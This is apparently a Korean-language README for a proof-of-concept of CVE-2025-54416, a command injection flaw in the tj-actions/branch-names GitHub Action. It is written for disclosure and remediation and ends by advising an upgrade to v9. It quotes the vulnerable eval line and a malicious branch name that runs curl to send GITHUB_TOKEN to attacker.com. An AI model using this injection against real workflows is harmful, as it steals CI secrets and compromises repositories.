
CVE-2025-54416 tj-actions/branch-names 명령 주입 PoC
이 저장소는 CVE-2025-54416을 시연합니다. 이는 5,000개 이상의 공개 저장소에 영향을 미치는 tj-actions/branch-names의 치명적인 명령 삽입 취약점입니다.
tj-actions/branch-names GitHub Action(버전 <= 8.2.1)은 안전하지 않은 eval printf "%s"를 사용하며, 이는 적절한 무해화 이후에도 명령 삽입 위험을 다시 초래합니다.
# Vulnerable code pattern in tj-actions/branch-names:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
tj-actions/[email protected]을 사용하여 브랜치 이름을 추출합니다브랜치 이름: main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
워크플로가 실행되면:
echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
# Actual output: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
# The $(...) is evaluated by the shell, exfiltrating GITHUB_TOKEN
tj-actions/branch-names@v9 이상으로 업데이트하세요. 이 버전은 eval printf "%s"를 안전한 printf 호출로 대체합니다.